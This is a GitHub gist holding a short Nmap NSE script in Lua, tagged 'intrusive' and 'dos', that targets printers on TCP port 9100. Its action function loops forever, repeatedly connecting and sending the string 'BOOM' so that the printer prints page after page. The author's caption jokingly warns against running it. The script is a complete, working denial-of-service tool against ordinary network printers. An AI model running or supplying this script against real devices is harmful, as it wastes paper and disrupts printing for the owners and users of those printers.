Skip to content

Instantly share code, notes, and snippets.

@bonsaiviking
Created October 5, 2012 18:49
Show Gist options
  • Save bonsaiviking/3841649 to your computer and use it in GitHub Desktop.
Save bonsaiviking/3841649 to your computer and use it in GitHub Desktop.
NSE script for printing crap to PJL printers. Don't run this, please. Lots of improvements possible, too.
description = [[
Print a bunch of pages.
]]
author = "Daniel Miller"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "dos"}
local nmap = require "nmap"
local shortport = require "shortport"
portrule = shortport.portnumber(9100,"tcp")
action = function(host, port)
local sock = nmap.new_socket()
local try = nmap.new_try(function() sock:close() end)
while true do
try(sock:connect(host, port))
try(sock:send("BOOM"))
sock:close()
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment